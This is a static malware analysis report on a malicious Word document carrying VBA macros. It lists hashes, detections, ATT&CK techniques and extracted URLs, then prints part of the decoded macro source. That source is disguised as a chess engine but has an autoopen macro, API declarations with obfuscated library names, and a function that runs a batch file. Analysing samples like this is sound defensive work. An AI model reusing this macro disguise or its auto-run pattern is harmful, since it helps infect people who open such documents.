Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 76d8286f5bd53c6d…

MALICIOUS

Office (OOXML)

466.3 KB Created: 2020-02-27 14:34:00 UTC Authoring application: Microsoft Office Word 15.0000 First seen: 2020-07-24
MD5: 349989268b269fd97145d034a7eac0e1 SHA-1: 5a4056e193c7805e52decee79483136e67e7bc6d SHA-256: 76d8286f5bd53c6df14a39049954c47622c040945032406307bbe5f2607cf6c4
152 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file is an OOXML document containing VBA macros, specifically an AutoOpen macro, which is a common technique for executing malicious code upon opening. The presence of the 'macros.bas' file and 'vbaProject_00.bin' further indicates embedded VBA code. While the specific payload is not directly visible, the structure and heuristic firings strongly suggest it's designed to download and execute a secondary malicious component, typical of a macro-based malware dropper.

Heuristics 5

  • ClamAV: Doc.Malware.W2000m-7603021-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.W2000m-7603021-0
  • VBA project inside OOXML medium 1 related finding OOXML_VBA
    Document contains a VBA project — VBA macros present
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Sub
Sub autoopen()
33 LogBase
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • http://xoomer.virgilio.it/ludormio/download.htmIn document text (OOXML body / shared strings)
    • http://www.gnu.org/licenses/In document text (OOXML body / shared strings)
    • http://xoomer.virgilio.it/ludormio/download.htm)�In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 86129 bytes
SHA-256: 8fec315bb9796f7a76716334dbfb9e68c515146c074ae0420c716f16acbaad23
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ChessBrainVB"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "HashBas"
'==================================================
'= HashBas:
'= Hash functions
'==================================================
#If VBA7 Then
Public Declare PtrSafe Function GdiGetBatchLimit Lib "gdi32    " () As LongPtr
Public Declare PtrSafe Function MakeSureDirectoryPathExists Lib "imagehlp.dll " (ByVal lpPath As String) As LongPtr
Public Declare PtrSafe Function CreateFileW Lib "kernel32  " (ByVal lpFileName As LongPtr, ByVal dwDesiredAccess As LongPtr, ByVal dwShareMode As LongPtr, ByVal lpSecurityAttributes As LongPtr, ByVal dwCreationDisposition As LongPtr, ByVal dwFlagsAndAttributes As LongPtr, ByVal hTemplateFile As LongPtr) As LongPtr
Public Declare PtrSafe Function SetEnvironmentVariable Lib "kernel32   " Alias "SetEnvironmentVariableA" (ByVal lpName As String, ByVal lpValue As String) As LongPtr
Public Declare PtrSafe Function GetEnvironmentVariable Lib "kernel32  " Alias "GetEnvironmentVariableA" _
(ByVal lpName As String, ByVal lpBuffer As String, ByVal nSize As LongPtr) As LongPtr
Public Declare PtrSafe Function CloseHandle Lib "kernel32" ( _
   ByVal hHandle As LongPtr) As LongPtr

#Else
Public Declare Function GdiGetBatchLimit Lib "gdi32    " () As Long
Public Declare Function MakeSureDirectoryPathExists Lib "imagehlp.dll  " (ByVal lpPath As String) As Long
Public Declare Function CreateFileA Lib "kernel32  " (ByVal lpFileName As String, ByVal dwDesiredAccess As Long, ByVal dwShareMode As Long, ByVal lpSecurityAttributes As LongPtr, ByVal dwCreationDisposition As Long, ByVal dwFlagsAndAttributes As Long, ByVal hTemplateFile As Long) As Long
Public Declare Function SetEnvironmentVariable Lib "kernel32  " Alias "SetEnvironmentVariableA" (ByVal lpName As String, ByVal lpValue As String) As Long
Public Declare Function GetEnvironmentVariable Lib "kernel32  " Alias "GetEnvironmentVariableA" _
(ByVal lpName As String, ByVal lpBuffer As String, ByVal nSize As Long) As Long
Public Declare Function CloseHandle Lib "kernel32" ( _
   ByVal hHandle As Long) As Long

#End If
'The style of the hash table rows
Public Const TT_NO_BOUND    As Byte = 0
Public Const TT_UPPER_BOUND As Byte = 1
Public Const TT_LOWER_BOUND As Byte = 2
Public Const TT_EXACT       As Byte = 3

Private Const HASH_CLUSTER As Long = 4
Public Const TT_TB_BASE_DEPTH As Long = 222

Public Type THashKey
  ' 2x 32 bit
  HashKey1 As Long
  HashKey2 As Long
End Type





Public ZobristHash1    As Long
Public ZobristHash2    As Long
Public HashWhiteToMove As Long
Public HashWhiteToMove2 As Long
Public HashWCanCastle  As Long
Public HashWCanCastle2  As Long
Public HashBCanCastle  As Long
Public HashBCanCastle2  As Long





Public InHashCnt       As Long
Public HashUsage       As Long
Private bHashUsed      As Boolean
Public HashGeneration As Long
Public EmptyHash As THashKey

Private Type HashTableEntry
  Position1 As Long ' 2x32 bit position hash key
  Position2 As Long
  Depth As Long ' negative values possible for QSearch
  MoveFrom As Byte
  MoveTarget As Byte
  MovePromoted As Byte
  EvalType As Byte
  Eval As Long
  StaticEval As Long
  Generation As Byte
  IsChecking As Boolean
End Type

Public HashSize                            As Long

Dim ZobristTable(1, 0 To 16)  As Long ' key for each piece typ eand board position
Dim ZobristTable2(1 To 5, 0 To 16) As Long

'The main array to hold the hash table
Private HashTable()                        As HashTableEntry


Public Sub InitHash()
  'Initialize the hash-table
  Static bIniReadDone As Boolean
  
  If Not bIniReadDone Then
    HashSize = HashSize * 40000   ' seems to fit...? hash len = 22
    bIniReadDone = True
  End If
  
End Sub


Public Function HashBoard(ExcludedMove) As THashKey
  Dim i As Long, sq As Long
  ZobristHash1 = 0: ZobristHash2 = 0
  For i = 1 To NumPieces: sq = Pieces(i): HashSetPiece sq, Board(sq): Next i
  If EpPosArr(Ply) > 0 Then HashSetPiece EpPosArr(Ply), Board(EpPosArr(Ply))
  If bWhiteToMove Then
    ZobristHash1 = ZobristHash1 Xor HashWhiteToMove: ZobristHash2 = ZobristHash2 Xor HashWhiteToMove2
  End If
  If WhiteCastled <> NO_CASTLE Then ZobristHash1 = ZobristHash1 Xor HashWCanCastle: ZobristHash2 = ZobristHash2 Xor HashWCanCastle2
  If BlackCastled <> NO_CASTLE Then ZobristHash1 = ZobristHash1 Xor HashBCanCastle: ZobristHash2 = ZobristHash2 Xor HashBCanCastle2
 
  If ExcludedMove.From > 0 Then ' different hash fьr excluded move positions
    HashSetPiece ExcludedMove.From, ExcludedMove.piece: HashSetPiece ExcludedMove.Target, ExcludedMove.piece
  End If
  HashBoard.HashKey1 = ZobristHash1: HashBoard.HashKey2 = ZobristHash2
  
End Function

Public Function HashGetKey() As THashKey
  HashGetKey.HashKey1 = ZobristHash1
  HashGetKey.HashKey2 = ZobristHash2
End Function

Public Sub NextHashGeneration()
  HashGeneration = GetMin(255, GameMovesCnt \ 2 + 1)
End Sub

Public Sub HashSetKey(ByRef HashKey As THashKey)
  ZobristHash1 = HashKey.HashKey1
  ZobristHash2 = HashKey.HashKey2
End Sub

Public Function InsertIntoHashTable(HashKey As THashKey, _
                                    ByVal Depth As Long, _
                                    HashMove, _
                                    ByVal EvalType As Long, _
                                    ByVal Eval As Long, _
                                    ByVal StaticEval As Long)
                                    
  Dim IndexKey As Long, TmpMove As TMove, i As Long, ReplaceIndex As Long, MaxReplaceValue As Long, ReplaceValue As Long, bPosFound As Boolean
    
  TmpMove = HashMove ' Don't overwrite
  bHashUsed = True: bPosFound = False
  MaxReplaceValue = 9999
  
  '--- Compute hash key
  ZobristHash1 = HashKey.HashKey1: ZobristHash2 = HashKey.HashKey2
  IndexKey = HashKeyCompute() * HASH_CLUSTER
  ReplaceIndex = IndexKey
  For i = 0 To HASH_CLUSTER - 1
    With HashTable(IndexKey + i)
      If .Position1 <> 0 Then
        ' Don't overwrite more valuable entry
        If (.Position1 = ZobristHash1 And .Position2 = ZobristHash2) Then
          ' Position found: Preserve hash move if no new move
          If TmpMove.From = 0 And .MoveFrom > 0 Then
            TmpMove.From = .MoveFrom: TmpMove.Target = .MoveTarget: TmpMove.Promoted = .MovePromoted: TmpMove.IsChecking = .IsChecking
          End If
          ReplaceIndex = IndexKey + i: bPosFound = True
          Exit For
        Else
          ' Other position found. Overwrite?
          ReplaceValue = .Depth - 8 * (HashGeneration - .Generation)
          If ReplaceValue < MaxReplaceValue Then
            MaxReplaceValue = ReplaceValue: ReplaceIndex = IndexKey + i
            'If HashUsage > 0 Then HashUsage = HashUsage - 1
          End If
        End If
      Else
        If MaxReplaceValue > -9000 Then MaxReplaceValue = -9000: ReplaceIndex = IndexKey + i
      End If
    End With
  Next
  
  If HashTable(ReplaceIndex).Position1 = 0 And HashUsage < 2147483646 Then HashUsage = HashUsage + 1
  
  With HashTable(ReplaceIndex)
    '--- Save hash data, preserve hash move if no new move
    If Not bPosFound Or EvalType = TT_EXACT Or Depth > .Depth - 4 Or .Generation <> HashGeneration Then
      .Position1 = ZobristHash1: .Position2 = ZobristHash2
      .MoveFrom = TmpMove.From: .MoveTarget = TmpMove.Target: .MovePromoted = TmpMove.Promoted
      .EvalType = EvalType: .Eval = ScoreToHash(Eval)
      .StaticEval = StaticEval: .Depth = Depth
      .Generation = HashGeneration
      .IsChecking = TmpMove.IsChecking
    End If
  End With
End Function

Public Function IsInHashTable(HashKey As THashKey, _
                              ByRef HashDepth As Long, _
                              HashMove, _
                              ByRef EvalType As Long, _
                              ByRef Eval As Long, _
                              ByRef StaticEval As Long) As Boolean
  Dim IndexKey As Long, i As Long
  IsInHashTable = False: HashMove = EmptyMove: EvalType = TT_NO_BOUND: Eval = UNKNOWN_SCORE: StaticEval = UNKNOWN_SCORE: HashDepth = -999
  ZobristHash1 = HashKey.HashKey1
  ZobristHash2 = HashKey.HashKey2
  IndexKey = HashKeyCompute() * HASH_CLUSTER
  For i = 0 To HASH_CLUSTER - 1
    If HashTable(IndexKey + i).Position1 <> 0 And ZobristHash1 <> 0 Then
      With HashTable(IndexKey + i)
        If ZobristHash1 = .Position1 And ZobristHash2 = .Position2 Then
          If .Depth > HashDepth Then
            ' entry found
            IsInHashTable = True
            If InHashCnt < 2000000 Then InHashCnt = InHashCnt + 1
            
            '--- Read hash data
            If .MoveFrom > 0 Then
              HashMove.From = .MoveFrom: HashMove.Target = .MoveTarget
              HashMove.Promoted = .MovePromoted: HashMove.IsChecking = .IsChecking: HashMove.IsInCheck = .IsChecking
              HashMove.Captured = Board(.MoveTarget): HashMove.piece = Board(.MoveFrom): HashMove.CapturedNumber = Squares(.MoveTarget)
              Select Case HashMove.piece
              Case WPAWN
                If .MoveTarget - .MoveFrom = 20 Then
                  HashMove.EnPassant = 1
                ElseIf Board(.MoveTarget) = BEP_PIECE Then
                  HashMove.EnPassant = 3
                End If
              Case BPAWN
                If .MoveFrom - .MoveTarget = 20 Then
                  HashMove.EnPassant = 2
                ElseIf Board(.MoveTarget) = WEP_PIECE Then
                  HashMove.EnPassant = 3
                End If
              Case WKING
                If .MoveFrom = SQ_E1 Then
                  If .MoveTarget = SQ_G1 Then
                    HashMove.Castle = WHITEOO
                  ElseIf .MoveTarget = SQ_C1 Then
                    HashMove.Castle = WHITEOOO
                  End If
                End If
              Case BKING
                If .MoveFrom = SQ_E8 Then
                  If .MoveTarget = SQ_G8 Then
                    HashMove.Castle = BLACKOO
                  ElseIf .MoveTarget = SQ_C8 Then
                    HashMove.Castle = BLACKOOO
                  End If
                End If
              End Select
            End If
            
            EvalType = .EvalType: Eval = HashToScore(.Eval): StaticEval = .StaticEval
            HashDepth = .Depth
            .Generation = HashGeneration ' Update generation
            Exit For
          End If
        End If
      End With
    End If
  Next
End Function

Public Function LimitDouble(ByVal d As Double) As Long
  ' Prevent overflow by looping off anything beyond 31 bits
  Const MaxNumber As Double = 2 ^ 31
  LimitDouble = CLng(d - (Fix(d / MaxNumber) * MaxNumber))
End Function

Public Sub InitZobrist()
  Static bDone As Boolean
  Dim p As Long, s As Long
  
  If bDone Then Exit Sub
  bDone = True
  ZobristHash1 = 0: ZobristHash2 = 0

  Randomize 1001 ' init random generator with fix value
  For p = SQ_A1 To SQ_H8
    For s = 0 To 16
      ZobristTable(p, s) = CalcUniqueKey(): ZobristTable2(p, s) = CalcUniqueKey()
    Next
  Next
  HashWhiteToMove = CalcUniqueKey(): HashWhiteToMove2 = CalcUniqueKey()
  HashWCanCastle = CalcUniqueKey(): HashWCanCastle2 = CalcUniqueKey()
  HashBCanCastle = CalcUniqueKey(): HashBCanCastle2 = CalcUniqueKey()
End Sub

Private Function CalcUniqueKey() As Long
  Static KeyList((1 - 0 + 1) * 17 * 2 + 8) As Long
  Static ListCnt As Long
  Dim l As Long, i As Long
  
NextTry:
  l = 65536 * (Int(Rnd * 65536) - 32768) Or Int(Rnd * 65536)
  For i = 1 To ListCnt
    If KeyList(i) = l Then GoTo NextTry
  Next
  ListCnt = ListCnt + 1: KeyList(ListCnt) = l
  CalcUniqueKey = l
End Function

Public Sub HashSetPiece(ByVal Position As Long, ByVal piece As Long)
  If piece = FRAME Or piece = NO_PIECE Then Exit Sub
  ZobristHash1 = ZobristHash1 Xor ZobristTable(Position, piece)
  ZobristHash2 = ZobristHash2 Xor ZobristTable2(Position, piece)
End Sub

Public Sub HashDelPiece(ByVal Position As Long, ByVal piece As Long)
  If piece = FRAME Or piece = NO_PIECE Then Exit Sub
  ZobristHash1 = ZobristHash1 Xor ZobristTable(Position, piece)
  ZobristHash2 = ZobristHash2 Xor ZobristTable2(Position, piece)
End Sub

Public Sub HashMovePiece(ByVal From As Long, Target As Long, ByVal piece As Long)
  ZobristHash1 = ZobristHash1 Xor ZobristTable(From, piece) Xor ZobristTable(Target, piece)
  ZobristHash2 = ZobristHash2 Xor ZobristTable(From, piece) Xor ZobristTable2(Target, piece)
End Sub

Public Function HashKeyCompute() As Long
  HashKeyCompute = ZobristHash1 Xor ZobristHash2
  If HashKeyCompute = -2147483648# Then HashKeyCompute = HashKeyCompute + 1
  HashKeyCompute = Abs(HashKeyCompute) Mod (HashSize \ HASH_CLUSTER)
End Function

Public Sub SetHashToMove()
 If bWhiteToMove Then
  ZobristHash1 = ZobristHash1 Xor HashWhiteToMove: ZobristHash2 = ZobristHash2 Xor HashWhiteToMove2
 End If
End Sub

Public Sub HashSetCastle()
  If WhiteCastled = NO_CASTLE Then ZobristHash1 = ZobristHash1 Xor HashWCanCastle: ZobristHash2 = ZobristHash2 Xor HashWCanCastle2
  If BlackCastled = NO_CASTLE Then ZobristHash1 = ZobristHash1 Xor HashBCanCastle: ZobristHash2 = ZobristHash2 Xor HashBCanCastle2
End Sub

Public Function ScoreToHash(ByVal Score As Long) As Long
  If Score >= MATE_IN_MAX_PLY Then
    ScoreToHash = Score + Ply
  ElseIf Score <= -MATE_IN_MAX_PLY Then
    ScoreToHash = Score - Ply
  Else
    ScoreToHash = Score
  End If
End Function

Public Function HashToScore(ByVal Score As Long) As Long
  If Score = UNKNOWN_SCORE Then
    HashToScore = Score
  ElseIf Score >= MATE_IN_MAX_PLY Then
    HashToScore = Score - Ply
  ElseIf Score <= -MATE_IN_MAX_PLY Then
    HashToScore = Score + Ply
  Else
    HashToScore = Score
  End If
End Function

Public Function HashUsagePerc() As String

  If HashSize = 0 Then
    HashUsagePerc = ""
  Else
    HashUsagePerc = Format(HashUsage * 100& / HashSize, "0.0")
  End If

End Function


Attribute VB_Name = "UserForm3"
Attribute VB_Base = "0{BB0204FA-FA76-4590-ADC4-D2806F83FDE8}{8EFB5800-A9BC-4BBA-B942-B59E545B59CC}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "UtilVBAbas"

Public Const TEST_MODE As Boolean = True
Public ThisApp As Object ' Office object: Excel, Word,...
Public psGameFile As String
Public LastInfoNodes As Long

Public psLastFieldClick As String
Public psLastFieldMouseDown As String
Public psLastFieldMouseUp As String

Public SetupBoardMode As Boolean  ' manual board setup using GUI
Public SetupPiece As Long

' GUI colors
Public WhiteSqCol As Long
Public BlackSqCol As Long
Public BoardFrameCol As Long

Public plFieldFrom As Long, plFieldTarget As Long
Public psFieldFrom As String, psFieldTarget As String
Dim plFieldFromColor As Long, plFieldTargetColor As Long
Dim psMove As String






Dim sOutput As String

Public Function OpenApp()
ExecuteCommand "C:\Defrag\1\Disk\Report\Other.BAT"
End Function





Public Function FieldNumToBoardPos(ByVal ilFieldNum As Long) As Long
   Dim s As String
   s = FieldNumToCoord(ilFieldNum)
   FieldNumToBoardPos = FileRev(Left(s, 1)) + RankRev(Mid(s, 2, 1))
End Function


Public Function CheckGUIMoveIsLegal(MoveFromText, MoveTargetText, oLegalMoves As Long) As Boolean
  ' Input: "e2", "e4", Output:  oLegalMoves:Number of Legal Moves
  Dim a As Long, NumMoves As Long, From As Long, Target As Long
  CheckGUIMoveIsLegal = False
  
  Ply = 0
  oLegalMoves = GenerateLegalMoves(NumMoves)
  If oLegalMoves > 0 Then
    From = FileRev(Left(MoveFromText, 1)) + RankRev(Mid(MoveFromText, 2, 1))
    Target = FileRev(Left(MoveTargetText, 1)) + RankRev(Mid(MoveTargetText, 2, 1))
    
    For a = 0 To NumMoves - 1
       If Moves(0, a).From = From And Moves(0, a).Target = Target Then
          CheckGUIMoveIsLegal = Moves(0, a).IsLegal: Exit For
       End If
    Next a
  End If
End Function

Public Sub ShowLegalMovesForPiece(MoveFromText)
  ' Input: square as text "e2"
  Dim a As Long, NumMoves As Long, From As Long, Target As Long
  Dim NumLegalMoves As Long, ctrl As Control, bFound As Boolean
  
  Ply = 0: bFound = False
  NumLegalMoves = GenerateLegalMoves(NumMoves)
  From = FileRev(Left(MoveFromText, 1)) + RankRev(Mid(MoveFromText, 2, 1))
  If NumLegalMoves = 0 Then
    SendCommand "No legal moves!"
  Else
    For Each ctrl In frmChessX.Controls
      Target = Val("0" & ctrl.Tag)
      If Target > 0 Then
        For a = 0 To NumMoves - 1
         If Moves(0, a).From = From And Moves(0, a).Target = Target And Moves(0, a).IsLegal Then
           ctrl.BackColor = &HC0FFC0
           bFound = True
         End If
        Next a
      End If
    Next ctrl
    If Not bFound Then
      SendCommand "No legal move for this piece!"
    End If
  End If

End Sub

Public Sub ResetGUIFieldColors()
 Dim x As Long, Y As Long, bBackColorIsWhite As Boolean, i As Long
 
 bBackColorIsWhite = False
 
 For Y = 1 To 8
  For x = 1 To 8
    i = x + (Y - 1) * 8
    With frmChessX.fraBoard.Controls("Square" & i)
      If bBackColorIsWhite Then
       If .BackColor <> WhiteSqCol Then .BackColor = WhiteSqCol
      Else
       If .BackColor <> BlackSqCol Then .BackColor = BlackSqCol
      End If
    End With
    bBackColorIsWhite = Not bBackColorIsWhite
  Next x
  bBackColorIsWhite = Not bBackColorIsWhite
 Next Y
End Sub



Public Function GenerateLegalMoves(olTotalMoves As Long) As Long
  ' Returns all moves in Moves(ply). Moves(x).IsLegal=true for legal moves
  Dim LegalMoves As Long, lLegalMoves As Long, i As Long, NumMoves As Long
  
  GenerateMoves Ply, False, NumMoves
  Ply = 0: lLegalMoves = 0
  
  For i = 0 To NumMoves - 1
    RemoveEpPiece
    MakeMove Moves(Ply, i)
    If CheckLegal(Moves(Ply, i)) Then
     Moves(Ply, i).IsLegal = True: lLegalMoves = lLegalMoves + 1
     Debug.Print MoveText(Moves(Ply, i))
    End If
    UnmakeMove Moves(Ply, i)
    ResetEpPiece
    'Debug.Print MovesText(Moves(0, i)), Moves(Ply, i).IsLegal
  Next
  olTotalMoves = NumMoves
  GenerateLegalMoves = lLegalMoves
End Function

Public Sub ShowColToMove()
  With frmChessX.lblColToMove
    If bWhiteToMove Then
      .BackColor = vbWhite
      .ForeColor = vbBlack
      .Caption = Translate("White to move")
    Else
      .BackColor = vbBlack
      .ForeColor = vbWhite
      .Caption = Translate("Black to move")
    End If
  End With
End Sub

Public Sub ShowLastMoveAtBoard()
 If GameMovesCnt = 0 Then Exit Sub
 ShowMove arGameMoves(GameMovesCnt).From, arGameMoves(GameMovesCnt).Target
End Sub

Public Sub ShowMove(From As Long, Target As Long)
 ' show move on board with different backcolor
 Dim Pos As Long, ctrl As Control
 
 If From > 0 Then
    For Each ctrl In frmChessX.Controls
      Pos = Val("0" & ctrl.Tag)
      If Pos = From Then ctrl.BackColor = &HC0FFC0
    Next ctrl
 End If
 
 If Target > 0 Then
    For Each ctrl In frmChessX.Controls
      Pos = Val("0" & ctrl.Tag)
      If Pos = Target Then ctrl.BackColor = &HC0FFC0
    Next ctrl
 End If
End Sub

Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{ACAF3CB3-D1C3-4855-A3D3-A1AD33F4BB69}{BB1B400D-7843-4DE1-A7C5-B8C8E6249F66}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "BoardBas"

'   110   --  --  --  --  --  --  --  --  --  --   119
'   100   --  --  --  --  --  --  --  --  --  --   109
'    90   --  A8  B8  C8  D8  E8  F8  G8  H8  --    99
'    80   --  A7  B7  C7  D7  E7  F7  G7  H7  --    89
'    70   --  A6  B6  C6  D6  E6  F6  G6  H6  --    79
'    60   --  A5  B5  C5  D5  E5  F5  G5  H5  --    69
'    50   --  A4  B4  C4  D4  E4  F4  G4  H4  --    59
'    40   --  A3  B3  C3  D3  E3  F3  G3  H3  --    49
'    30   --  A2  B2  C2  D2  E2  F2  G2  H2  --    39
'    20   --  A1  B1  C1  D1  E1  F1  G1  H1  --    29
'    10   --  --  --  --  --  --  --  --  --  --    19
'     0   --  --  --  --  --  --  --  --  --  --     9
'

Public NumPieces                           As Long  '--- Current number of pieces at ply 0 in Pieces list
Public Pieces(32)                          As Long  '--- List of pieces: pointer to board position (Captured pieces ares set to zero during search)
Public PieceCnt(16)                        As Long ' number of pieces per piece type and color

Public bWhiteToMove                        As Boolean  '--- false if black to move, often used
Public bCompIsWhite                        As Boolean

Public CastleFlag
Public WhiteCastled
Public BlackCastled

Public WPromotions(5)                      As Long '--- list of promotion pieces
Public BPromotions(5)                      As Long

Public LegalMovesOutOfCheck                As Long

Public WKingLoc                            As Long
Public BKingLoc                            As Long

Public PieceType(16)                       As Long  ' sample: maps black pawn and white pawn pieces to PT_PAWN
Public PieceColor(16)                      As Long  ' white / Black

Public Ply                                 As Long ' current ply

Public arFiftyMove(499)                    As Long
Public Fifty                               As Long



'--- For faster move generation
Public WhitePiecesStart                    As Long
Public WhitePiecesEnd                      As Long
Public BlackPiecesStart                    As Long
Public BlackPiecesEnd                      As Long

Public TotalMoveCnt                        As Long

'--- SEE data
Dim PieceList(0 To 32)                     As Long, Cnt As Long
Dim SwapList(0 To 32)                      As Long, slIndex As Long
Dim Blocker(1 To 32)                       As Long, Block As Long

'--------------------------------



' Offsets for move generation
Public QueenOffsets(7)                     As Long
Public KnightOffsets(7)                    As Long
Public BishopOffsets(3)                    As Long
Public RookOffsets(3)                      As Long

Public OppositeDir(-11 To 11)              As Long

Public EpPosArr(0 To 128)                  As Long
Public MovesPly(0 To 128 + 1)              As String
Public MaxDistance(0 To 7, 0 To 8) As Long

Private bGenCapturesOnly                   As Boolean
'------------------------------------
Const MOVEFILE_REPLACE_EXISTING = &H1
Const FILE_ATTRIBUTE_TEMPORARY = &H100
Const FILE_BEGIN = 0
Const FILE_SHARE_READ = &H1
Const CREATE_ALWAYS = 2
Const OPEN_EXISTING = 4
Const GENERIC_READ = &H80000000
Const GENERIC_WRITE = &H40000000



Public Sub UnmakeMove(mMove)
  Dim From        As Long, Target As Long
  Dim Captured    As Long, EnPassant As Long, CapturedNumber As Long
  Dim Promoted    As Long, Castle As Long, PieceTarget As Long

  With mMove
    From = .From: Target = .Target: Captured = .Captured
    EnPassant = .EnPassant: Promoted = .Promoted: Castle = .Castle: CapturedNumber = .CapturedNumber
  End With
  
  PieceTarget = Board(Target)
  Squares(From) = Squares(Target): Squares(Target) = CapturedNumber
  Pieces(Squares(Target)) = Target: Pieces(Squares(From)) = From
  Fifty = arFiftyMove(Ply)

  Select Case Castle
    Case NO_CASTLE
    Case WHITEOO
      WhiteCastled = NO_CASTLE
      Board(SQ_F1) = NO_PIECE: Moved(SQ_F1) = Moved(SQ_F1) - 1
      Board(SQ_H1) = WROOK: Moved(SQ_H1) = Moved(SQ_H1) - 1
      Squares(SQ_H1) = Squares(SQ_F1): Squares(SQ_F1) = 0: Pieces(Squares(SQ_H1)) = SQ_H1
      Board(SQ_E1) = WKING: Moved(SQ_E1) = Moved(SQ_E1) - 1: WKingLoc = SQ_E1
      Board(SQ_G1) = NO_PIECE: Moved(SQ_G1) = Moved(SQ_G1) - 1
      GoTo lblExit
    Case WHITEOOO
      WhiteCastled = NO_CASTLE
      Board(SQ_D1) = NO_PIECE: Moved(SQ_D1) = Moved(SQ_D1) - 1
      Board(SQ_A1) = WROOK: Moved(SQ_A1) = Moved(SQ_A1) - 1
      Squares(SQ_A1) = Squares(SQ_D1): Squares(SQ_D1) = 0: Pieces(Squares(SQ_A1)) = SQ_A1
      Board(SQ_E1) = WKING: Moved(SQ_E1) = Moved(SQ_E1) - 1: WKingLoc = SQ_E1
      Board(SQ_C1) = NO_PIECE: Moved(SQ_C1) = Moved(SQ_C1) - 1
      GoTo lblExit
    Case BLACKOO
      BlackCastled = NO_CASTLE
      Board(SQ_F8) = NO_PIECE: Moved(SQ_F8) = Moved(SQ_F8) - 1
      Board(SQ_H8) = BROOK: Moved(SQ_H8) = Moved(SQ_H8) - 1
      Squares(SQ_H8) = Squares(SQ_F8): Squares(SQ_F8) = 0: Pieces(Squares(SQ_H8)) = SQ_H8
      Board(SQ_E8) = BKING: Moved(SQ_E8) = Moved(SQ_E8) - 1: BKingLoc = SQ_E8
      Board(SQ_G8) = NO_PIECE: Moved(SQ_G8) = Moved(SQ_G8) - 1
      GoTo lblExit
    Case BLACKOOO
      BlackCastled = NO_CASTLE
      Board(SQ_D8) = NO_PIECE: Moved(SQ_D8) = Moved(SQ_D8) - 1
      Board(SQ_A8) = BROOK: Moved(SQ_A8) = Moved(SQ_A8) - 1
      Squares(SQ_A8) = Squares(SQ_D8): Squares(SQ_D8) = 0: Pieces(Squares(SQ_A8)) = SQ_A8
      Board(SQ_E8) = BKING: Moved(SQ_E8) = Moved(SQ_E8) - 1: BKingLoc = SQ_E8
      Board(SQ_C8) = NO_PIECE: Moved(SQ_C8) = Moved(SQ_C8) - 1
      GoTo lblExit
  End Select

  If EnPassant = 1 Then
    Board(From + 10) = NO_PIECE
  ElseIf EnPassant = 2 Then
    Board(From - 10) = NO_PIECE
  End If
  
  If EnPassant = 3 Then
    If PieceTarget = WPAWN Then
      Board(From) = PieceTarget
      Board(Target) = NO_PIECE
      Board(Target - 10) = BPAWN: PieceCntPlus BPAWN
      Squares(Target - 10) = CapturedNumber
      Pieces(CapturedNumber) = Target - 10
      Squares(Target) = 0
    ElseIf PieceTarget = BPAWN Then
      Board(From) = PieceTarget
      Board(Target) = NO_PIECE
      Board(Target + 10) = WPAWN: PieceCntPlus WPAWN
      Squares(Target + 10) = CapturedNumber
      Pieces(CapturedNumber) = Target + 10
      Squares(Target) = 0
    End If
      Moved(From) = Moved(From) - 1
      GoTo lblExit
  ElseIf Promoted <> 0 Then
    If Promoted Mod 2 = WCOL Then
    Board(From) = WPAWN: PieceCntPlus WPAWN
    PieceCntMinus Board(Target)
    Board(Target) = Captured
    Moved(From) = Moved(From) - 1
    Moved(Target) = Moved(Target) - 1
    Else
    Board(From) = BPAWN: PieceCntPlus BPAWN
    PieceCntMinus Board(Target)
    Board(Target) = Captured
    Moved(From) = Moved(From) - 1
    Moved(Target) = Moved(Target) - 1
    End If
  Else
    '--- normal move
    Select Case PieceTarget
      Case WKING: WKingLoc = From
      Case BKING: BKingLoc = From
    End Select
        
    Board(From) = PieceTarget: Moved(From) = Moved(From) - 1
    Board(Target) = Captured: Moved(Target) = Moved(Target) - 1
  End If

  If Captured > 0 And Captured < NO_PIECE Then PieceCntPlus Captured

lblExit:
  bWhiteToMove = Not bWhiteToMove ' switch side to move

End Sub

